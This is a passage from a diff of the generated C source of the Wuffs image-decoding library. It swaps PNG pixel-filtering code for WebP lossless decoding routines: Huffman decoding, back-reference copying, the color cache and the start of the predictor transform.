v_packs_remaining = WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[self->private_impl.f_depth]; +- v_bits_packed = v_s.ptr[0u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 1u); ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 0u); ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[3u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; + } +- v_bits_unpacked[0u] = ((uint8_t)((v_bits_packed >> v_shift) * v_multiplier)); +- v_bits_packed = ((uint8_t)(v_bits_packed << self->private_impl.f_depth)); +- v_packs_remaining = ((uint8_t)(v_packs_remaining - 1u)); +- if (((uint32_t)(self->private_impl.f_remap_transparency)) != 0u) { +- v_bits_unpacked[1u] = v_bits_unpacked[0u]; +- v_bits_unpacked[2u] = v_bits_unpacked[0u]; +- v_bits_unpacked[3u] = 255u; +- if (((uint32_t)(self->private_impl.f_remap_transparency)) == ((((uint32_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint32_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint32_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint32_t)(v_bits_unpacked[3u])) << 24u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 4)); +- } else { +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 1)); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; + } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); +- } +- } else { +- while (v_x < self->private_impl.f_frame_rect_x1) { +- v_i = (((uint64_t)(v_x)) * v_dst_bytes_per_pixel); +- if (v_i <= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_color_type == 0u) { +- if (2u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[1u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[1u]; +- v_bits_unpacked[3u] = v_s.ptr[0u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = 255u; +- v_bits_unpacked[7u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); +- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | +- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | +- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | +- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | +- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- v_bits_unpacked[4u] = 0u; +- v_bits_unpacked[5u] = 0u; +- v_bits_unpacked[6u] = 0u; +- v_bits_unpacked[7u] = 0u; ++ v_color |= (((uint32_t)(((uint16_t)(v_node & 255u)))) << 24u); ++ } else if (v_pixel_g < 280u) { ++ if (v_pixel_g < 260u) { ++ v_back_ref_len_minus_1 = (v_pixel_g - 256u); ++ } else { ++ v_back_ref_len_n_bits = ((v_pixel_g - 258u) >> 1u); ++ v_back_ref_len_minus_1 = ((((uint32_t)(2u)) + (v_pixel_g & 1u)) << v_back_ref_len_n_bits); ++ while (self->private_impl.f_n_bits < v_back_ref_len_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_4 = *iop_a_src++; ++ v_c8 = t_4; + } +- } else if (self->private_impl.f_color_type == 2u) { +- if (6u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[5u]; +- v_bits_unpacked[1u] = v_s.ptr[4u]; +- v_bits_unpacked[2u] = v_s.ptr[3u]; +- v_bits_unpacked[3u] = v_s.ptr[2u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = 255u; +- v_bits_unpacked[7u] = 255u; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); +- if (self->private_impl.f_remap_transparency == ((((uint64_t)(v_bits_unpacked[0u])) << 0u) | +- (((uint64_t)(v_bits_unpacked[1u])) << 8u) | +- (((uint64_t)(v_bits_unpacked[2u])) << 16u) | +- (((uint64_t)(v_bits_unpacked[3u])) << 24u) | +- (((uint64_t)(v_bits_unpacked[4u])) << 32u) | +- (((uint64_t)(v_bits_unpacked[5u])) << 40u) | +- (((uint64_t)(v_bits_unpacked[6u])) << 48u) | +- (((uint64_t)(v_bits_unpacked[7u])) << 56u))) { +- v_bits_unpacked[0u] = 0u; +- v_bits_unpacked[1u] = 0u; +- v_bits_unpacked[2u] = 0u; +- v_bits_unpacked[3u] = 0u; +- v_bits_unpacked[4u] = 0u; +- v_bits_unpacked[5u] = 0u; +- v_bits_unpacked[6u] = 0u; +- v_bits_unpacked[7u] = 0u; ++ if (self->private_impl.f_n_bits >= v_back_ref_len_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_back_ref_len_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_len_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_back_ref_len_n_bits; ++ self->private_impl.f_n_bits -= v_back_ref_len_n_bits; ++ } ++ v_h = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[4u])); ++ while (true) { ++ v_node = self->private_data.f_huffman_nodes[v_hg][v_h]; ++ if (v_node >= 32768u) { ++ break; ++ } ++ if (self->private_impl.f_n_bits < 1u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_5 = *iop_a_src++; ++ v_c8 = t_5; + } +- } else if (self->private_impl.f_color_type == 4u) { +- if (4u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[1u]; +- v_bits_unpacked[1u] = v_s.ptr[0u]; +- v_bits_unpacked[2u] = v_s.ptr[1u]; +- v_bits_unpacked[3u] = v_s.ptr[0u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = v_s.ptr[3u]; +- v_bits_unpacked[7u] = v_s.ptr[2u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); ++ self->private_impl.f_bits = ((uint32_t)(v_c8)); ++ self->private_impl.f_n_bits = 8u; ++ } ++ v_h = ((((uint32_t)(v_node)) & 4095u) + (self->private_impl.f_bits & 1u)); ++ self->private_impl.f_bits >>= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ } ++ v_back_ref_dist_sym = ((uint32_t)(((uint16_t)(v_node & 32767u)))); ++ if (v_back_ref_dist_sym < 4u) { ++ v_back_ref_dist_premap_minus_1 = v_back_ref_dist_sym; ++ } else if (v_back_ref_dist_sym < 40u) { ++ v_back_ref_dist_n_bits = ((v_back_ref_dist_sym - 2u) >> 1u); ++ v_back_ref_dist_premap_minus_1 = ((((uint32_t)(2u)) + (v_back_ref_dist_sym & 1u)) << v_back_ref_dist_n_bits); ++ while (self->private_impl.f_n_bits < v_back_ref_dist_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_6 = *iop_a_src++; ++ v_c8 = t_6; + } +- } else { +- if (8u <= ((uint64_t)(v_s.len))) { +- v_bits_unpacked[0u] = v_s.ptr[5u]; +- v_bits_unpacked[1u] = v_s.ptr[4u]; +- v_bits_unpacked[2u] = v_s.ptr[3u]; +- v_bits_unpacked[3u] = v_s.ptr[2u]; +- v_bits_unpacked[4u] = v_s.ptr[1u]; +- v_bits_unpacked[5u] = v_s.ptr[0u]; +- v_bits_unpacked[6u] = v_s.ptr[7u]; +- v_bits_unpacked[7u] = v_s.ptr[6u]; +- v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); ++ if (self->private_impl.f_n_bits >= v_back_ref_dist_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; + } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; + } +- wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(v_bits_unpacked, 8)); ++ v_back_ref_dist_premap_minus_1 += (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_back_ref_dist_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_back_ref_dist_n_bits; ++ self->private_impl.f_n_bits -= v_back_ref_dist_n_bits; + } +- v_x += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u]); ++ if (v_back_ref_dist_premap_minus_1 >= 120u) { ++ v_back_ref_dist_minus_1 = (v_back_ref_dist_premap_minus_1 - 120u); ++ } else { ++ v_dm = ((uint32_t)(WUFFS_WEBP__DISTANCE_MAP[v_back_ref_dist_premap_minus_1])); ++ v_dy = (v_dm >> 4u); ++ v_dx = ((uint32_t)(7u - (v_dm & 15u))); ++ v_back_ref_dist_minus_1 = ((uint32_t)((a_width * v_dy) + v_dx)); ++ } ++ v_p_end = (v_p + ((uint64_t)(((v_back_ref_len_minus_1 + 1u) * 4u)))); ++ v_dist4 = ((((uint64_t)(v_back_ref_dist_minus_1)) * 4u) + 4u); ++ if ((v_p_end > v_p_max) || (v_p_end > ((uint64_t)(a_dst.len))) || (v_p < v_dist4)) { ++ status = wuffs_base__make_status(wuffs_webp__error__bad_back_reference); ++ goto exit; ++ } ++ v_q = (v_p - v_dist4); ++ while ((v_q < v_p) && (v_p < v_p_end)) { ++ a_dst.ptr[v_p] = a_dst.ptr[v_q]; ++ v_p += 1u; ++ v_q += 1u; ++ } ++ v_x += (v_back_ref_len_minus_1 + 1u); ++ while (v_x >= a_width) { ++ v_x -= a_width; ++ v_y += 1u; ++ } ++ continue; ++ } else { ++ if ((v_color_cache_p > v_p) || (v_p > ((uint64_t)(a_dst.len)))) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ v_color_cache_pixels = wuffs_base__slice_u8__subslice_ij(a_dst, v_color_cache_p, v_p); ++ v_color_cache_p = v_p; ++ v_color_cache_shift = ((32u - self->private_impl.f_color_cache_bits) & 31u); ++ while (((uint64_t)(v_color_cache_pixels.len)) >= 4u) { ++ v_color = wuffs_base__peek_u32le__no_bounds_check(v_color_cache_pixels.ptr); ++ self->private_data.f_color_cache[((((uint32_t)(v_color * 506832829u)) >> v_color_cache_shift) & 2047u)] = v_color; ++ v_color_cache_pixels = wuffs_base__slice_u8__subslice_i(v_color_cache_pixels, 4u); ++ } ++ v_color = self->private_data.f_color_cache[((v_pixel_g - 280u) & 2047u)]; ++ } ++ if (v_p > ((uint64_t)(a_dst.len))) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ v_dst_pixel = wuffs_base__slice_u8__subslice_i(a_dst, v_p); ++ if (((uint64_t)(v_dst_pixel.len)) < 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_dst_buffer); ++ goto exit; ++ } ++ wuffs_base__poke_u32le__no_bounds_check(v_dst_pixel.ptr, v_color); ++ v_p += 4u; ++ v_x += 1u; ++ if (v_x == a_width) { ++ v_x = 0u; ++ v_y += 1u; + } + } +- v_prev_row = v_curr_row; +- v_y += (((uint32_t)(1u)) << WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u]); +- } +- return wuffs_base__make_status(NULL); +-} + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) ++ goto ok; ++ ok: ++ self->private_impl.p_decode_pixels_slow = 0; ++ goto exit; ++ } + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_pixels_slow = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_pixels_slow.v_p = v_p; ++ self->private_data.s_decode_pixels_slow.v_p_max = v_p_max; ++ self->private_data.s_decode_pixels_slow.v_tile_size_log2 = v_tile_size_log2; ++ self->private_data.s_decode_pixels_slow.v_width_in_tiles = v_width_in_tiles; ++ self->private_data.s_decode_pixels_slow.v_x = v_x; ++ self->private_data.s_decode_pixels_slow.v_y = v_y; ++ self->private_data.s_decode_pixels_slow.v_hg = v_hg; ++ self->private_data.s_decode_pixels_slow.v_node = v_node; ++ self->private_data.s_decode_pixels_slow.v_color = v_color; ++ self->private_data.s_decode_pixels_slow.v_back_ref_len_n_bits = v_back_ref_len_n_bits; ++ self->private_data.s_decode_pixels_slow.v_back_ref_len_minus_1 = v_back_ref_len_minus_1; ++ self->private_data.s_decode_pixels_slow.v_back_ref_dist_n_bits = v_back_ref_dist_n_bits; ++ self->private_data.s_decode_pixels_slow.v_back_ref_dist_premap_minus_1 = v_back_ref_dist_premap_minus_1; ++ self->private_data.s_decode_pixels_slow.v_color_cache_p = v_color_cache_p; + +-// ---------------- Status Codes Implementations ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } + +-const char wuffs_tga__error__bad_header[] = "#tga: bad header"; +-const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; +-const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; +-const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; ++ return status; ++} + +-// ---------------- Private Consts ++// -------- func webp.decoder.apply_transform_predictor + +-// ---------------- Private Initializer Prototypes ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_webp__decoder__apply_transform_predictor( ++ wuffs_webp__decoder* self, ++ wuffs_base__slice_u8 a_pix, ++ wuffs_base__slice_u8 a_tile_data) { ++ uint64_t v_w4 = 0; ++ wuffs_base__slice_u8 v_prev_row = {0}; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ uint32_t v_tile_size_log2 = 0; ++ uint32_t v_tiles_per_row = 0; ++ uint32_t v_mask = 0; ++ uint32_t v_y = 0; ++ uint32_t v_x = 0; ++ uint64_t v_t = 0; ++ wuffs_base__slice_u8 v_tile_data = {0}; ++ uint8_t v_mode = 0; ++ uint32_t v_l0 = 0; ++ uint32_t v_l1 = 0; ++ uint32_t v_l2 = 0; ++ uint32_t v_l3 = 0; ++ uint32_t v_c0 = 0; ++ uint32_t v_c1 = 0; ++ uint32_t v_c2 = 0; ++ uint32_t v_c3 = 0; ++ uint32_t v_t0 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_t3 = 0; ++ uint32_t v_sum_l = 0; ++ uint32_t v_sum_t = 0; ++ ++ if ((self->private_impl.f_width <= 0u) || (self->private_impl.f_height <= 0u)) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_w4 = ((uint64_t)((self->private_impl.f_width * 4u))); ++ v_curr_row = wuffs_base__utility__empty_slice_u8(); ++ if (v_w4 <= ((uint64_t)(a_pix.len))) { ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_pix, v_w4); ++ } ++ if (((uint64_t)(v_curr_row.len)) >= 4u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[3u] += 255u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ while (((uint64_t)(v_curr_row.len)) >= 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ v_curr_row = wuffs_base__slice_u8__subslice_i(v_curr_row, 4u); ++ } ++ v_tile_size_log2 = ((uint32_t)(self->private_impl.f_transform_tile_size_log2[0u])); ++ v_tiles_per_row = ((self->private_impl.f_width + ((((uint32_t)(1u)) << v_tile_size_log2) - 1u)) >> v_tile_size_log2); ++ v_mask = ((((uint32_t)(1u)) << v_tile_size_log2) - 1u); ++ v_y = 1u; ++ while (v_y < self->private_impl.f_height) { ++ v_t = ((uint64_t)((4u * (v_y >> v_tile_size_log2) * v_tiles_per_row))); ++ v_tile_data = wuffs_base__utility__empty_slice_u8(); ++ if (v_t <= ((uint64_t)(a_tile_data.len))) { ++ v_tile_data = wuffs_base__slice_u8__subslice_i(a_tile_data, v_t); ++ if (((uint64_t)(v_tile_data.len)) >= 4u) { ++ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ } ++ if (v_w4 <= ((uint64_t)(a_pix.len))) { ++ v_prev_row = a_pix; ++ a_pix = wuffs_base__slice_u8__subslice_i(a_pix, v_w4); ++ v_curr_row = a_pix; ++ } ++ if ((((uint64_t)(v_prev_row.len)) >= 4u) && (((uint64_t)(v_curr_row.len)) >= 4u)) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[0u] += v_prev_row.ptr[0u]; ++ v_curr_row.ptr[1u] += v_prev_row.ptr[1u]; ++ v_curr_row.ptr[2u] += v_prev_row.ptr[2u]; ++ v_curr_row.ptr[3u] += v_prev_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } ++ v_x = 1u; ++ while (v_x < self->private_impl.f_width) { ++ if (((v_x & v_mask) == 0u) && (((uint64_t)(v_tile_data.len)) >= 4u)) { ++ v_mode = ((uint8_t)(v_tile_data.ptr[1u] & 15u)); ++ v_tile_data = wuffs_base__slice_u8__subslice_i(v_tile_data, 4u); ++ } ++ if ((((uint64_t)(v_prev_row.len)) < 12u) || (((uint64_t)(v_curr_row.len)) < 8u)) { ++ break; ++ } ++ if (v_mode == 0u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[7u] += 255u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 1u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_curr_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_curr_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_curr_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_curr_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 2u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[4u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[5u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[6u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[7u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 3u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[8u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[9u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[10u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[11u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 4u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += v_prev_row.ptr[0u]; ++ v_curr_row.ptr[5u] += v_prev_row.ptr[1u]; ++ v_curr_row.ptr[6u] += v_prev_row.ptr[2u]; ++ v_curr_row.ptr[7u] += v_prev_row.ptr[3u]; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 5u) { ++ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); ++ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); ++ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); ++ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 6u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 7u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 8u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[4u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[5u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[6u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[7u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 9u) { ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 10u) { ++ v_l0 = ((((uint32_t)(v_curr_row.ptr[0u])) + ((uint32_t)(v_prev_row.ptr[0u]))) / 2u); ++ v_l1 = ((((uint32_t)(v_curr_row.ptr[1u])) + ((uint32_t)(v_prev_row.ptr[1u]))) / 2u); ++ v_l2 = ((((uint32_t)(v_curr_row.ptr[2u])) + ((uint32_t)(v_prev_row.ptr[2u]))) / 2u); ++ v_l3 = ((((uint32_t)(v_curr_row.ptr[3u])) + ((uint32_t)(v_prev_row.ptr[3u]))) / 2u); ++ v_t0 = ((((uint32_t)(v_prev_row.ptr[4u])) + ((uint32_t)(v_prev_row.ptr[8u]))) / 2u); ++ v_t1 = ((((uint32_t)(v_prev_row.ptr[5u])) + ((uint32_t)(v_prev_row.ptr[9u]))) / 2u); ++ v_t2 = ((((uint32_t)(v_prev_row.ptr[6u])) + ((uint32_t)(v_prev_row.ptr[10u]))) / 2u); ++ v_t3 = ((((uint32_t)(v_prev_row.ptr[7u])) + ((uint32_t)(v_prev_row.ptr[11u]))) / 2u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_curr_row.ptr[4u] += ((uint8_t)(((v_l0 + v_t0) / 2u))); ++ v_curr_row.ptr[5u] += ((uint8_t)(((v_l1 + v_t1) / 2u))); ++ v_curr_row.ptr[6u] += ((uint8_t)(((v_l2 + v_t2) / 2u))); ++ v_curr_row.ptr[7u] += ((uint8_t)(((v_l3 + v_t3) / 2u))); ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else if (v_mode == 11u) { ++ v_l0 = ((uint32_t)(v_curr_row.ptr[0u])); ++ v_l1 = ((uint32_t)(v_curr_row.ptr[1u])); ++ v_l2 = ((uint32_t)(v_curr_row.ptr[2u])); ++ v_l3 = ((uint32_t)(v_curr_row.ptr[3u])); ++ v_c0 = ((uint32_t)(v_prev_row.ptr[0u])); ++ v_c1 = ((uint32_t)(v_prev_row.ptr[1u])); ++ v_c2 = ((uint32_t)(v_prev_row.ptr[2u])); ++ v_c3 = ((uint32_t)(v_prev_row.ptr[3u])); ++ v_t0 = 